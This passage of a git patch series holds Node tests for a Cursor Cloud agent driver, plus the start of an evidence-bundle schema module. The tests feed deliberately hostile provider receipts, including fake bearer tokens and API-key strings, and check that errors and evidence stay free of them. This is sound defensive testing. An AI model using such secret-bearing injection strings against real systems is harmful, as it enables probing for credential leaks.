omitRequestCancel.driver.launch(requestFor('launch')); + expectCode(() => omitRequestCancel.driver.cancel(requestFor('cancel')), 'stale_identity_denied'); + + const omitBranchReattach = launchBound({ + reattach: [(request) => ({ + reattached: true, + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + })], + }); + omitBranchReattach.driver.launch(requestFor('launch')); + expectCode( + () => omitBranchReattach.driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'stale_identity_denied', + ); +}); + +test('blocker 4: uncertain dispatch never observes or reattaches a substitute run', () => { + const transport = createScriptedCursorCloudTransportV1({ + send: [{ throw: true, code: 'transport_lost', message: `lost ${LEAK_MARKER}` }], + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id ?? 'bc-adopted-agent', + provider_run_id: request.provider_run_id ?? 'run-adopted-arbitrary', + request_id: request.request_id ?? 'ccr-bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + branch: request.branch ?? 'cursor/adopted-branch', + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + })], + reattach: [(request) => ({ + reattached: true, + ...identityFields(), + agent_id: request.agent_id ?? 'bc-adopted-agent', + provider_run_id: request.provider_run_id ?? 'run-adopted-arbitrary', + request_id: request.request_id ?? 'ccr-bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + branch: request.branch ?? 'cursor/adopted-branch', + })], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + const observed = driver.reconcile(requestFor('reconcile')); + assert.equal(observed.disposition, 'dispatch_uncertain'); + assert.equal(cursorCloudCallsOf(transport, 'observe').length, 0); + const restarted = driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })); + assert.equal(restarted.disposition, 'dispatch_uncertain'); + assert.equal(cursorCloudCallsOf(transport, 'reattach').length, 0); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.provider_run_id, null); + assert.notEqual(evidence.branch, 'cursor/adopted-branch'); +}); + +test('blocker 5: hostile cursor count and timing fail closed with content-free evidence', () => { + const hugeCursor = '7'.repeat(1_000_000); + const cursorCase = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + progress: { status: 'running', event_count: 1, elapsed_ms: 20, cursor: hugeCursor }, + })], + }); + cursorCase.driver.launch(requestFor('launch')); + const cursorError = errorOf( + () => cursorCase.driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })), + ); + assert.equal(cursorError.code, 'invalid_format'); + assert.doesNotMatch(publicErrorBlob(cursorError), /7{32}/u); + const cursorEvidence = inspectCursorCloudLaneEvidenceV1(cursorCase.driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(cursorEvidence.progress, null); + assert.doesNotMatch(JSON.stringify(cursorEvidence), /7{32}/u); + + const countCase = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + progress: { status: 'running', event_count: 1.5, elapsed_ms: 20, cursor: '1' }, + })], + }); + countCase.driver.launch(requestFor('launch')); + expectCode( + () => countCase.driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })), + 'invalid_format', + ); + + const timingCase = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + progress: { status: 'running', event_count: 1, elapsed_ms: -1, cursor: '1' }, + })], + }); + timingCase.driver.launch(requestFor('launch')); + expectCode( + () => timingCase.driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })), + 'invalid_format', + ); + const timingEvidence = inspectCursorCloudLaneEvidenceV1(timingCase.driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(timingEvidence.progress, null); +}); + +test('blocker 6: observe cancel and reattach transport exceptions collapse to closed detail', () => { + const hostile = `Authorization: Bearer sk-live ${LEAK_MARKER} prompt=envelope_text api_key=secret`; + const observeCase = launchBound({ + observe: [() => { + throw new Error(hostile); + }], + }); + observeCase.driver.launch(requestFor('launch')); + const observeError = errorOf(() => observeCase.driver.reconcile(requestFor('reconcile'))); + assertClosedPublicError(observeError); + assert.equal(observeError.code, 'transport_exception'); + + const cancelCase = launchBound({ + cancel: [() => { + const error = new Error(hostile); + error.code = 'ECONNRESET'; + error.stack = `${hostile}\n at transport`; + throw error; + }], + }); + cancelCase.driver.launch(requestFor('launch')); + const cancelError = errorOf(() => cancelCase.driver.cancel(requestFor('cancel'))); + assertClosedPublicError(cancelError); + + const reattachCase = launchBound({ + reattach: [() => { + throw Object.assign(new Error(hostile), { code: 'provider_unauthorized' }); + }], + }); + reattachCase.driver.launch(requestFor('launch')); + const reattachError = errorOf( + () => reattachCase.driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + ); + assertClosedPublicError(reattachError); +}); + +test('blocker 7: accepted truncated events store evidence_truncated true never false', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [ + (request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + events: [{ kind: 'truncated', bytes: 8 }, { kind: 'status', bytes: 4 }], + progress: { status: 'truncated', event_count: 2, elapsed_ms: 9, cursor: '2' }, + }), + (request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + events: [{ kind: 'status', bytes: 4 }], + progress: { status: 'running', event_count: 3, elapsed_ms: 12, cursor: '3' }, + }), + ], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + driver.launch(requestFor('launch')); + driver.reconcile(requestFor('reconcile', { include: ['detailed_events', 'live_progress'] })); + const first = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(first.evidence_truncated, true); + driver.reconcile(requestFor('reconcile', { include: ['detailed_events', 'live_progress'] })); + const second = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(second.evidence_truncated, true); +}); + +const HOSTILE_PROVIDER_TEXT = 'Authorization: Bearer sk-live SECRET prompt=envelope_text api_key=secret'; +const HOSTILE_UNKNOWN_KEY = `hostile_${HOSTILE_PROVIDER_TEXT}`; +const HOSTILE_ERROR_MARKERS = [ + HOSTILE_PROVIDER_TEXT, HOSTILE_UNKNOWN_KEY, 'Bearer', 'sk-live', 'SECRET', + 'envelope_text', 'api_key', LEAK_MARKER, CLOUD_FIXTURE_MODEL, CLOUD_FIXTURE_BRANCH, + CLOUD_FIXTURE_PROVIDER_RUN_ID, CLOUD_FIXTURE_REPO_IDENTITY, +]; + +function assertContentFreeError(error, label) { + const blob = publicErrorBlob(error); + for (const marker of HOSTILE_ERROR_MARKERS) { + assert.equal(blob.includes(marker), false, `${label} leaked ${marker}`); + } +} + +function observeReceipt(request, overrides = {}) { + return { + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + events: [], + progress: { status: 'running', event_count: 0, elapsed_ms: 1, cursor: '1' }, + cursor: '1', + elapsed_ms: 1, + event_count: 0, + ...overrides, + }; +} + +function cancelReceipt(request, overrides = {}) { + return { + outcome: 'cancel_confirmed', + archived: true, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + ...overrides, + }; +} + +function reattachReceipt(request, overrides = {}) { + return { + reattached: true, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + ...overrides, + }; +} + +test('reconstruction: eight identity-value and unknown-key receipt cases stay content-free', () => { + const cases = [ + { + label: 'preflight-identity', + operation: 'preflight', + code: 'stale_identity_denied', + script: { preflight: [readyPreflightReceipt({ provider: HOSTILE_PROVIDER_TEXT })] }, + act: (driver) => driver.preflight(requestFor('preflight')), + }, + { + label: 'preflight-unknown-key', + operation: 'preflight', + code: 'unknown_key', + script: { preflight: [readyPreflightReceipt({ [HOSTILE_UNKNOWN_KEY]: true })] }, + act: (driver) => driver.preflight(requestFor('preflight')), + }, + { + label: 'observe-identity', + operation: 'observe', + code: 'stale_identity_denied', + script: { observe: [(request) => observeReceipt(request, { provider: HOSTILE_PROVIDER_TEXT })] }, + act: (driver) => driver.reconcile(requestFor('reconcile')), + }, + { + label: 'observe-unknown-key', + operation: 'observe', + code: 'unknown_key', + script: { observe: [(request) => observeReceipt(request, { [HOSTILE_UNKNOWN_KEY]: true })] }, + act: (driver) => driver.reconcile(requestFor('reconcile')), + }, + { + label: 'cancel-identity', + operation: 'cancel', + code: 'stale_identity_denied', + script: { cancel: [(request) => cancelReceipt(request, { provider: HOSTILE_PROVIDER_TEXT })] }, + act: (driver) => driver.cancel(requestFor('cancel')), + }, + { + label: 'cancel-unknown-key', + operation: 'cancel', + code: 'unknown_key', + script: { cancel: [(request) => cancelReceipt(request, { [HOSTILE_UNKNOWN_KEY]: true })] }, + act: (driver) => driver.cancel(requestFor('cancel')), + }, + { + label: 'reattach-identity', + operation: 'reattach', + code: 'stale_identity_denied', + script: { reattach: [(request) => reattachReceipt(request, { provider: HOSTILE_PROVIDER_TEXT })] }, + act: (driver) => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + }, + { + label: 'reattach-unknown-key', + operation: 'reattach', + code: 'unknown_key', + script: { reattach: [(request) => reattachReceipt(request, { [HOSTILE_UNKNOWN_KEY]: true })] }, + act: (driver) => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + }, + ]; + + for (const testCase of cases) { + const transport = createScriptedCursorCloudTransportV1(testCase.script); + const driver = bindCursorCloudDriverV1(transport); + if (testCase.operation !== 'preflight') { + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched', testCase.label); + } + const thrown = errorOf(() => testCase.act(driver)); + assert.equal(thrown.code, testCase.code, testCase.label); + assert.equal(thrown.path, `cursor_cloud_transport.${testCase.operation}`, testCase.label); + assert.equal(thrown.name, 'RunContractV1Error', testCase.label); + assertClosedPublicError(thrown); + assertContentFreeError(thrown, testCase.label); + if (testCase.operation === 'preflight') { + assert.equal(cursorCloudCallsOf(transport, 'create').length, 0, testCase.label); + } else { + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + const evidenceJson = JSON.stringify(evidence); + assert.equal(evidenceJson.includes(HOSTILE_PROVIDER_TEXT), false, testCase.label); + assert.equal(evidenceJson.includes(HOSTILE_UNKNOWN_KEY), false, testCase.label); + assert.equal(evidenceJson.includes('sk-live'), false, testCase.label); + } + } +}); + +test('reconstruction: create and send malformed receipts are content-free dispatch_uncertain', () => { + const createHostile = launchBound({ + create: [(request) => ({ + created: true, + agent_id: request.proposed_agent_id, + ...identityFields(), + provider: HOSTILE_PROVIDER_TEXT, + })], + }); + const created = createHostile.driver.launch(requestFor('launch')); + assert.equal(created.disposition, 'dispatch_uncertain'); + assert.equal(created.detail_code, undefined); + assert.equal(created.detail_message, undefined); + assert.equal(JSON.stringify(created).includes(HOSTILE_PROVIDER_TEXT), false); + assert.equal(JSON.stringify(created).includes('SECRET'), false); + expectCode(() => createHostile.driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(cursorCloudCallsOf(createHostile.transport, 'send').length, 0); + assert.equal(cursorCloudCallsOf(createHostile.transport, 'create').length, 1); + const createEvidence = inspectCursorCloudLaneEvidenceV1(createHostile.driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(JSON.stringify(createEvidence).includes(HOSTILE_PROVIDER_TEXT), false); + assert.equal(JSON.stringify(createEvidence).includes(HOSTILE_UNKNOWN_KEY), false); + + const createUnknown = launchBound({ + create: [(request) => ({ + created: true, + agent_id: request.proposed_agent_id, + ...identityFields(), + [HOSTILE_UNKNOWN_KEY]: HOSTILE_PROVIDER_TEXT, + })], + }); + const createdUnknown = createUnknown.driver.launch(requestFor('launch')); + assert.equal(createdUnknown.disposition, 'dispatch_uncertain'); + assert.equal(JSON.stringify(createdUnknown).includes(HOSTILE_UNKNOWN_KEY), false); + assert.equal(JSON.stringify(createdUnknown).includes('api_key'), false); + expectCode(() => createUnknown.driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(cursorCloudCallsOf(createUnknown.transport, 'send').length, 0); + + const sendHostile = launchBound({ + send: [(request) => ({ + acknowledged: true, + agent_id: request.agent_id, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + provider: HOSTILE_PROVIDER_TEXT, + })], + }); + const sent = sendHostile.driver.launch(requestFor('launch')); + assert.equal(sent.disposition, 'dispatch_uncertain'); + assert.equal(JSON.stringify(sent).includes(HOSTILE_PROVIDER_TEXT), false); + expectCode(() => sendHostile.driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(cursorCloudCallsOf(sendHostile.transport, 'send').length, 1); + const sendEvidence = inspectCursorCloudLaneEvidenceV1(sendHostile.driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(JSON.stringify(sendEvidence).includes(HOSTILE_PROVIDER_TEXT), false); + + const sendUnknown = launchBound({ + send: [(request) => ({ + acknowledged: true, + agent_id: request.agent_id, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + [HOSTILE_UNKNOWN_KEY]: true, + })], + }); + const sentUnknown = sendUnknown.driver.launch(requestFor('launch')); + assert.equal(sentUnknown.disposition, 'dispatch_uncertain'); + assert.equal(JSON.stringify(sentUnknown).includes(HOSTILE_UNKNOWN_KEY), false); + expectCode(() => sendUnknown.driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('reconstruction: caller-request validation is not collapsed to the receipt boundary', () => { + const { driver } = launchBound(); + driver.launch(requestFor('launch')); + const replay = errorOf(() => driver.launch(requestFor('launch'))); + assert.equal(replay.code, 'replay_denied'); + assert.equal(replay.path, 'driver.launch.request'); + assert.match(replay.message, /never replayed/u); +}); diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs index 225d81b..2a44ce0 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs @@ -480,6 +480,7 @@ test('terminal reconcile fails closed when Git/branch/base evidence is missing', agent_id: request.agent_id, provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, status: 'completed', })], }); @@ -635,6 +636,7 @@ test('cancel reports a failed archive without claiming the agent was archived', agent_id: request.agent_id, provider_run_id: request.provider_run_id, request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, ...identityFields(), })], }); @@ -654,6 +656,7 @@ test('cancel_requested stays nonterminal so a later cancel may still reach trans agent_id: request.agent_id, provider_run_id: request.provider_run_id, request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, ...identityFields(), }), (request) => ({ @@ -662,6 +665,7 @@ test('cancel_requested stays nonterminal so a later cancel may still reach trans agent_id: request.agent_id, provider_run_id: request.provider_run_id, request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, ...identityFields(), }), ], @@ -718,6 +722,7 @@ test('cancel refuses a different Cloud agent or run identity', () => { agent_id: 'bc-other-agent', provider_run_id: request.provider_run_id, request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, ...identityFields(), })], }); From 3ae392e73b2a66a51cdba52c2645e11324ea9f5f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 05:09:49 +0000 Subject: [PATCH 40/81] feat(evidence): define provider claim and verified fact types Add the closed EvidenceBundleV1 claim and fact records that keep provider-authored assertions distinct from independently verified host facts, with exact identity, injected sequence, digest-bound payloads, and fail-closed hostile-input handling. --- .../mcp/v3/evidence-bundle.mjs | 573 ++++++++++++++++++ .../test/fixtures/r1-evidence-fixtures.mjs | 163 +++++ .../test/r1-evidence-bundle.test.mjs | 234 +++++++ 3 files changed, 970 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs new file mode 100644 index 0000000..bd46631 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs @@ -0,0 +1,573 @@ +// EvidenceBundleV1 — closed canonical bounded immutable evidence record +// separating provider-authored claims from independently verified facts +// (ADR 0001 identifiers `bounded_evidence`, `exact_identities`, +// `raw_evidence_owner_only_local`, +// `sanitized_bounded_evidence_model_facing`, +// `provider_commands_evidence_never_auto_executed`, +// `codex_only_final_acceptance`). +// +// Additive v3 module for W12-P13. It owns schema, validation, canonical +// bytes, framed digest, and the closed acceptance rule. It performs no +// Git inspection, filesystem I/O, command execution, network/provider +// calls, or live routing. Facts cannot be synthesized from claims. +// Artifact links are exact P07 ArtifactRefV1 snapshots. + +import { Buffer } from 'node:buffer'; +import { createHash, timingSafeEqual } from 'node:crypto'; + +import { + ARTIFACT_REF_SCHEMA_ID, + compareArtifactRefsV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedJoin, + isKnownProvider, + isModelId, + knownProvidersJoined, +} from './grammar.mjs'; +import { + IDENTITY_DOMAIN, + IDENTITY_LABELS, + IDENTITY_VERSION, + canonicalJsonStringify, + identityDigestV1, +} from './identity.mjs'; +import { + RunContractV1Error, + assertAllowedKeys, + assertBaseSha, + assertDenseJsonArray, + assertRepositoryPath, + assertRunId, + isAssignmentId, + isCommandId, + isSha40, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const EVIDENCE_BUNDLE_SCHEMA_ID = 'codex-co-engineer.evidence-bundle.v1'; +export const EVIDENCE_BUNDLE_VERSION = 1; +export const EVIDENCE_DIGEST_LABEL = IDENTITY_LABELS.EVIDENCE_BUNDLE; +export const DIGEST_ALGORITHM = 'sha256'; +export const EVIDENCE_DIGEST_HEX_LENGTH = 64; + +export const MAX_EVIDENCE_DEPTH = 16; +export const MAX_EVIDENCE_NODES = 1024; +export const MAX_CLAIMS = 32; +export const MAX_FACTS = 64; +export const MAX_DISCREPANCIES = 32; +export const MAX_EVIDENCE_ARTIFACT_REFS = 64; +export const MAX_EVIDENCE_STRING_BYTES = 4096; +export const MAX_BUNDLE_CANONICAL_BYTES = 65_536; +export const MAX_SEQUENCE = 65_535; +export const MAX_ARTIFACT_IDS = 8; +export const MAX_DURATION_MS = 86_400_000; + +export const CLAIM_KINDS = capturedFreeze([ + 'command_reported', 'files_changed', 'head_reached', 'model_used', 'tests_passed', +]); +export const FACT_KINDS = capturedFreeze([ + 'acceptance_results', 'artifact_integrity', 'git_diff', 'git_identity', + 'head_sha', 'model_attested', +]); +export const DISCREPANCY_KINDS = capturedFreeze([ + 'integrity', 'mismatch', 'missing', 'security', 'unverifiable', +]); +export const CLAIM_STATUSES = capturedFreeze(['asserted', 'unsupported']); +export const FACT_STATUSES = capturedFreeze([ + 'failed', 'partial', 'truncated', 'unknown', 'verified', +]); +export const DISCREPANCY_STATUSES = capturedFreeze(['recorded']); +export const FINAL_STATES = capturedFreeze([ + 'accepted', 'failed', 'partial', 'pass', 'unknown', 'verified', +]); +export const ACCEPTED_FINAL_STATES = capturedFreeze(['accepted', 'pass', 'verified']); +export const CLAIM_CODES = capturedFreeze(['provider_reported']); +export const FACT_CODES = capturedFreeze(['host_observed']); +export const DISCREPANCY_CODES = capturedFreeze([ + 'artifact_integrity_failure', 'claim_fact_mismatch', 'missing_fact', + 'security_boundary', 'unverifiable_claim', +]); +export const FACT_AUTHORITIES = capturedFreeze([ + 'independent_provider_query', 'platform_acceptance_runner', 'platform_git', + 'platform_ref_audit', 'platform_scope', +]); +export const FACT_METHODS = capturedFreeze([ + 'ancestry_check', 'approved_command_execution', 'artifact_digest_compare', + 'independent_model_query', 'merge_commit_absence', + 'protected_ref_snapshot_compare', 'read_only_no_changes', 'scope_match', +]); +export const REPORTED_RESULTS = capturedFreeze(['fail', 'not_reported', 'pass']); +export const INTEGRITY_RESULTS = capturedFreeze(['match', 'mismatch']); +export const PROVIDER_DERIVED_ARTIFACT_KINDS = capturedFreeze([ + 'cloud_receipt', 'event_segment', 'provider_report', +]); +export const PROOF_ARTIFACT_KINDS = capturedFreeze([ + 'acceptance_output', 'git_diff', 'ref_snapshot', 'usage_evidence', +]); + +export const BUNDLE_ALLOWED_KEYS = capturedFreeze([ + 'schema', 'version', 'run_id', 'request_id', 'assignment_id', 'provider', + 'model', 'repository', 'candidate', 'sequence', 'recorded_at', + 'final_state', 'claims', 'facts', 'discrepancies', 'artifacts', +]); +export const BUNDLE_REQUIRED_KEYS = capturedFreeze([ + 'schema', 'version', 'run_id', 'request_id', 'assignment_id', 'provider', + 'model', 'repository', 'sequence', 'final_state', 'claims', 'facts', + 'discrepancies', 'artifacts', +]); +export const REPOSITORY_ALLOWED_KEYS = capturedFreeze(['path', 'base_sha']); +export const CANDIDATE_ALLOWED_KEYS = capturedFreeze(['sha']); +export const CLAIM_ALLOWED_KEYS = capturedFreeze([ + 'claim_id', 'claim_kind', 'status', 'code', 'run_id', 'assignment_id', + 'sequence', 'recorded_at', 'subject', 'payload', 'payload_digest', + 'artifact_digests', +]); +export const CLAIM_REQUIRED_KEYS = capturedFreeze([ + 'claim_id', 'claim_kind', 'status', 'code', 'run_id', 'assignment_id', + 'sequence', 'subject', 'payload', 'artifact_digests', +]); +export const FACT_ALLOWED_KEYS = capturedFreeze([ + 'fact_id', 'fact_kind', 'status', 'code', 'run_id', 'assignment_id', + 'sequence', 'recorded_at', 'subject', 'authority', 'method', + 'input_digest', 'output_digest', 'exit_code', 'duration_ms', 'truncated', + 'payload', 'payload_digest', 'artifact_digests', +]); +export const FACT_REQUIRED_KEYS = capturedFreeze([ + 'fact_id', 'fact_kind', 'status', 'code', 'run_id', 'assignment_id', + 'sequence', 'subject', 'authority', 'method', 'input_digest', + 'output_digest', 'exit_code', 'duration_ms', 'truncated', 'payload', + 'artifact_digests', +]); +export const DISCREPANCY_ALLOWED_KEYS = capturedFreeze([ + 'discrepancy_id', 'discrepancy_kind', 'status', 'code', 'run_id', + 'assignment_id', 'sequence', 'recorded_at', 'claim_ids', 'fact_ids', + 'artifact_digests', +]); +export const DISCREPANCY_REQUIRED_KEYS = capturedFreeze([ + 'discrepancy_id', 'discrepancy_kind', 'status', 'code', 'run_id', + 'assignment_id', 'sequence', 'claim_ids', 'fact_ids', 'artifact_digests', +]); + +export const EVIDENCE_ERROR_CODES = capturedFreeze([ + 'conflicting_id', 'duplicate_id', 'duplicate_sequence', 'identity_mismatch', + 'invalid_format', 'invalid_type', 'missing_key', 'out_of_range', + 'payload_digest_mismatch', 'provider_proof_rejected', 'stale_fact', + 'truncated_required_fact', 'unknown_authority', 'unknown_claim_kind', + 'unknown_code', 'unknown_discrepancy_kind', 'unknown_fact_kind', + 'unknown_final_state', 'unknown_method', 'unknown_status', + 'unproven_accepted_state', 'unsupported_pairing', +]); + +const PRIVATE_RECORD_ID_PATTERN = /^[a-z][a-z0-9-]{0,63}$/u; +const PRIVATE_SUBJECT_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:/-]{0,127}$/u; +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const PRIVATE_TIMESTAMP_PATTERN = /^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}Z$/u; + +export const EVIDENCE_RECORD_ID_PATTERN = new RegExp( + PRIVATE_RECORD_ID_PATTERN.source, PRIVATE_RECORD_ID_PATTERN.flags, +); +export const EVIDENCE_SUBJECT_PATTERN = new RegExp( + PRIVATE_SUBJECT_PATTERN.source, PRIVATE_SUBJECT_PATTERN.flags, +); +export const EVIDENCE_TIMESTAMP_PATTERN = new RegExp( + PRIVATE_TIMESTAMP_PATTERN.source, PRIVATE_TIMESTAMP_PATTERN.flags, +); + +const CLAIM_PAYLOAD_KEYS = { + command_reported: capturedFreeze(['command_id', 'result']), + files_changed: capturedFreeze(['path_count']), + head_reached: capturedFreeze(['sha']), + model_used: capturedFreeze(['model']), + tests_passed: capturedFreeze(['result']), +}; +const FACT_PAYLOAD_KEYS = { + acceptance_results: capturedFreeze(['command_id', 'result']), + artifact_integrity: capturedFreeze(['artifact_sha256', 'result']), + git_diff: capturedFreeze(['path_count', 'path_set_digest']), + git_identity: capturedFreeze(['base_sha', 'head_sha']), + head_sha: capturedFreeze(['sha']), + model_attested: capturedFreeze(['model']), +}; +const KIND_CODES = { + integrity: 'artifact_integrity_failure', + mismatch: 'claim_fact_mismatch', + missing: 'missing_fact', + security: 'security_boundary', + unverifiable: 'unverifiable_claim', +}; +const CLAIM_FACT_MAP = { + command_reported: capturedFreeze(['acceptance_results']), + files_changed: capturedFreeze(['git_diff']), + head_reached: capturedFreeze(['git_identity', 'head_sha']), + model_used: capturedFreeze(['model_attested']), + tests_passed: capturedFreeze(['acceptance_results']), +}; + +const CRYPTO_CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH(DIGEST_ALGORITHM)); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const BUFFER_FROM = Buffer.from.bind(Buffer); +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const REFLECT_APPLY = Reflect.apply; +const REGEXP_TEST = RegExp.prototype.test; +const STRING = String; + +function testPattern(pattern, value) { + return REFLECT_APPLY(REGEXP_TEST, pattern, [value]) === true; +} + +function enumError(code, path, label, allowed) { + let joined = ''; + for (let index = 0; index < allowed.length; index += 1) { + joined += index === 0 ? `"${allowed[index]}"` : `, "${allowed[index]}"`; + } + fail(code, path, `${path} must be exactly one of ${joined}; received an outside ${label}.`); +} + +function assertEnum(value, allowed, code, path, label) { + if (!capturedIncludes(allowed, value)) enumError(code, path, label, allowed); + return value; +} + +function assertSha256(value, path) { + if (typeof value !== 'string' || !testPattern(PRIVATE_SHA256_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be an exact ${EVIDENCE_DIGEST_HEX_LENGTH}-character lowercase hex SHA-256.`); + } + return value; +} + +function assertRecordId(value, path) { + if (typeof value !== 'string' || !testPattern(PRIVATE_RECORD_ID_PATTERN, value)) { + fail('invalid_format', path, `${path} violates the evidence record-id grammar.`); + } + return value; +} + +function assertSubject(value, path) { + if (typeof value !== 'string' || !testPattern(PRIVATE_SUBJECT_PATTERN, value)) { + fail('invalid_format', path, `${path} violates the closed subject grammar.`); + } + return value; +} + +function assertSequence(value, path) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + fail('invalid_type', path, `${path} must be a safe integer sequence.`); + } + if (value < 0 || value > MAX_SEQUENCE) { + fail('out_of_range', path, `${path} must be an injected sequence in 0..${MAX_SEQUENCE}.`); + } + return value; +} + +function assertTimestamp(value, path) { + if (typeof value !== 'string' || !testPattern(PRIVATE_TIMESTAMP_PATTERN, value)) { + fail('invalid_format', path, `${path} must be an exact UTC timestamp YYYY-MM-DDTHH:MM:SSZ.`); + } + return value; +} + +function assertSafeInt(value, path, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + fail('invalid_type', path, `${path} must be a safe integer.`); + } + if (value < min || value > max) { + fail('out_of_range', path, `${path} is outside 